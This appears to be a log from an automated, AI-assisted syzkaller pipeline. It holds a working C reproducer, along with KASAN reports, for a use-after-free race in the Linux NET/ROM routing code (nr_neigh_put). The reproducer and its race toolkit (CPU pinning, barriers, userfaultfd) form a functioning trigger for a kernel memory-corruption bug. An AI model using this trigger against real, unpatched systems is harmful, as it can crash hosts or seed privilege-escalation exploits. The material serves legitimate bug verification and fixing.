map[EquivalenceAnalysis:The reproducer successfully triggered the expected bug. The crash signature and call trace match the original report exactly, with the KASAN slab-use-after-free write occurring in `nr_neigh_put` during `nr_del_neigh` via `nr_rt_ioctl`. The secondary crash `refcount_t: underflow; use-after-free.` in `refcount_warn_saturate` from `nr_del_neigh` is also a direct consequence of the same underlying issue (double free / underflow of the neighbor refcount). OtherCrashReports:[------------[ cut here ]------------
refcount_t: underflow; use-after-free.
WARNING: lib/refcount.c:28 at refcount_warn_saturate+0xb2/0x110 lib/refcount.c:28, CPU#0: syz-executor343/6134
Modules linked in:
CPU: 0 UID: 0 PID: 6134 Comm: syz-executor343 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:refcount_warn_saturate+0xb2/0x110 lib/refcount.c:28
Code: 74 bf 96 0b 67 48 0f b9 3a eb 4a e8 c8 23 16 fd 48 8d 3d 71 bf 96 0b 67 48 0f b9 3a eb 37 e8 b5 23 16 fd 48 8d 3d 6e bf 96 0b <67> 48 0f b9 3a eb 24 e8 a2 23 16 fd 48 8d 3d 6b bf 96 0b 67 48 0f
RSP: 0018:ffffc90003b27a70 EFLAGS: 00010293
RAX: ffffffff84af9c3b RBX: 0000000000000003 RCX: ffff8881951e57c0
RDX: 0000000000000000 RSI: ffffffff8f141140 RDI: ffffffff90465bb0
RBP: 0000000000000000 R08: ffff8881951e57c0 R09: 0000000000000005
R10: 0000000000000004 R11: 0000000000000000 R12: ffff888193b621a8
R13: dffffc0000000000 R14: ffff888193b621bc R15: 0000000000000002
FS:  00007fdf0bca86c0(0000) GS:ffff8881a53b7000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007ffc81e4cd48 CR3: 00000001fbf76000 CR4: 00000000000006f0
Call Trace:
 <TASK>
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fdf0bcdf06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007fdf0bca8130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007fdf0bca8cdc RCX: 00007fdf0bcdf06b
RDX: 00007fdf0bd7eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007fdf0bca86c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007fff39cebdf0 R15: 00007fff39cebed8
 </TASK>
----------------
Code disassembly (best guess):
   0:	74 bf                	je     0xffffffc1
   2:	96                   	xchg   %eax,%esi
   3:	0b 67 48             	or     0x48(%rdi),%esp
   6:	0f b9 3a             	ud1    (%rdx),%edi
   9:	eb 4a                	jmp    0x55
   b:	e8 c8 23 16 fd       	call   0xfd1623d8
  10:	48 8d 3d 71 bf 96 0b 	lea    0xb96bf71(%rip),%rdi        # 0xb96bf88
  17:	67 48 0f b9 3a       	ud1    (%edx),%rdi
  1c:	eb 37                	jmp    0x55
  1e:	e8 b5 23 16 fd       	call   0xfd1623d8
  23:	48 8d 3d 6e bf 96 0b 	lea    0xb96bf6e(%rip),%rdi        # 0xb96bf98
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	eb 24                	jmp    0x55
  31:	e8 a2 23 16 fd       	call   0xfd1623d8
  36:	48 8d 3d 6b bf 96 0b 	lea    0xb96bf6b(%rip),%rdi        # 0xb96bfa8
  3d:	67                   	addr32
  3e:	48                   	rex.W
  3f:	0f                   	.byte 0xf
] ReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }


#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;
    char *pts;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    pts = ptsname(fd);
    if (!pts) { perror("ptsname"); return 1; }

    sfd = open(pts, O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
} Reproduced:true ReproducedBugTitle:KASAN: slab-use-after-free Write in nr_neigh_put ReproducedCrashReport:==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff88810e2e25bc by task syz-executor711/6118

CPU: 0 UID: 0 PID: 6118 Comm: syz-executor711 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f3e4416f06b
Code: 00 48 89 44 24 18 31 c0 48 8d 44 24 60 c7 04 24 10 00 00 00 48 89 44 24 08 48 8d 44 24 20 48 89 44 24 10 b8 10 00 00 00 0f 05 <89> c2 3d 00 f0 ff ff 77 1c 48 8b 44 24 18 64 48 2b 04 25 28 00 00
RSP: 002b:00007f3e43937130 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f3e43937cdc RCX: 00007f3e4416f06b
RDX: 00007f3e4420eb40 RSI: 000000000000890c RDI: 0000000000000006
RBP: 0000000000000021 R08: 0000000000000000 R09: 00007f3e439376c0
R10: 0000000000000008 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffc2c2d5db0 R15: 00007ffc2c2d5e98
 </TASK>

Allocated by task 6098:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 6118:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff88810e2e2580
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff88810e2e2580, ffff88810e2e25c0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x10e2e2
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 017ff00000000000 ffff8881000418c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 51, tgid 51 (kworker/u9:2), ts 23585057965, free_ts 0
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x577/0x7c0 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 __vmalloc_area_node mm/vmalloc.c:3855 [inline]
 __vmalloc_node_range_noprof+0x5d5/0x1730 mm/vmalloc.c:4064
 __vmalloc_node_noprof+0xc2/0x100 mm/vmalloc.c:4124
 alloc_thread_stack_node kernel/fork.c:355 [inline]
 dup_task_struct+0x275/0x9a0 kernel/fork.c:924
 copy_process+0x508/0x3cd0 kernel/fork.c:2050
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
page_owner free stack trace missing

Memory state around the buggy address:
 ffff88810e2e2480: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
 ffff88810e2e2500: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff88810e2e2580: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff88810e2e2600: 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc
 ffff88810e2e2680: 00 00 00 00 00 00 00 00 fc fc fc fc fc fc fc fc
==================================================================
]

map[KernelSrc:/app/workdir/cache/src/1496284d94339006045689ca40ed3fe6a45290d8]

map[KernelObj:/app/workdir/cache/build/b038c3f86a1bf90c5a172db9211e32f699eb6fce]

map[Index:codesearch-index]

gemini-3.1-pro-preview

You are a security researcher with deep Linux kernel background.
Your goal is to analyze a Linux kernel bug description and propose a strategy to reproduce it
with a minimal, standalone C program.
This is for the strictly defensive purpose of verifying a bugfix in an isolated environment.
Do NOT propose an exploit. Focus on minimal technical reproduction of the bug state.
Keep your analysis and strategy proposal concise. Do not write long explanations.
Prefer calling several tools at the same time to save round-trips.

Bug Description: KASAN: slab-use-after-free Write in nr_neigh_put

==================================================================
BUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: slab-use-after-free in atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
BUG: KASAN: slab-use-after-free in __refcount_sub_and_test include/linux/refcount.h:389 [inline]
BUG: KASAN: slab-use-after-free in __refcount_dec_and_test include/linux/refcount.h:432 [inline]
BUG: KASAN: slab-use-after-free in refcount_dec_and_test include/linux/refcount.h:450 [inline]
BUG: KASAN: slab-use-after-free in nr_neigh_put+0x21/0x170 include/net/netrom.h:139
Write of size 4 at addr ffff888028dc0ebc by task syz.3.4420/22103

CPU: 1 UID: 0 PID: 22103 Comm: syz.3.4420 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/18/2026
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description mm/kasan/report.c:378 [inline]
 print_report+0xba/0x230 mm/kasan/report.c:482
 kasan_report+0x117/0x150 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:-1 [inline]
 kasan_check_range+0x264/0x2c0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_fetch_sub_release include/linux/atomic/atomic-instrumented.h:400 [inline]
 __refcount_sub_and_test include/linux/refcount.h:389 [inline]
 __refcount_dec_and_test include/linux/refcount.h:432 [inline]
 refcount_dec_and_test include/linux/refcount.h:450 [inline]
 nr_neigh_put+0x21/0x170 include/net/netrom.h:139
 nr_del_neigh+0x25a/0x2d0 net/netrom/nr_route.c:440
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5a8e59c819
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f5a8f3c3028 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
RAX: ffffffffffffffda RBX: 00007f5a8e815fa0 RCX: 00007f5a8e59c819
RDX: 0000200000000740 RSI: 000000000000890c RDI: 000000000000000b
RBP: 00007f5a8e632c91 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5a8e816038 R14: 00007f5a8e815fa0 R15: 00007fff4f4442c8
 </TASK>

Allocated by task 20448:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __kmalloc_cache_noprof+0x31c/0x660 mm/slub.c:5380
 kmalloc_noprof include/linux/slab.h:950 [inline]
 nr_add_neigh+0x104/0x520 net/netrom/nr_route.c:392
 nr_rt_ioctl+0xdf9/0xf90 net/netrom/nr_route.c:660
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 22103:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x46/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1c1/0x630 mm/slub.c:6483
 __nr_remove_neigh net/netrom/nr_route.c:299 [inline]
 nr_remove_neigh net/netrom/nr_route.c:308 [inline]
 nr_del_neigh+0x246/0x2d0 net/netrom/nr_route.c:439
 nr_rt_ioctl+0xd62/0xf90 net/netrom/nr_route.c:682
 sock_do_ioctl+0x101/0x320 net/socket.c:1254
 sock_ioctl+0x5c6/0x7f0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl+0xfc/0x170 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x14d/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

The buggy address belongs to the object at ffff888028dc0e80
 which belongs to the cache kmalloc-64 of size 64
The buggy address is located 60 bytes inside of
 freed 64-byte region [ffff888028dc0e80, ffff888028dc0ec0)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x28dc0
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fea78c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 36, tgid 36 (kworker/u8:2), ts 8945898703, free_ts 8878260428
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x231/0x280 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x24dc/0x2580 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab+0x77/0x660 mm/slub.c:3481
 new_slab mm/slub.c:3539 [inline]
 refill_objects+0x331/0x3c0 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x2e6/0x730 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_noprof+0x474/0x760 mm/slub.c:5272
 kmalloc_noprof include/linux/slab.h:954 [inline]
 kzalloc_noprof include/linux/slab.h:1188 [inline]
 lsm_blob_alloc security/security.c:193 [inline]
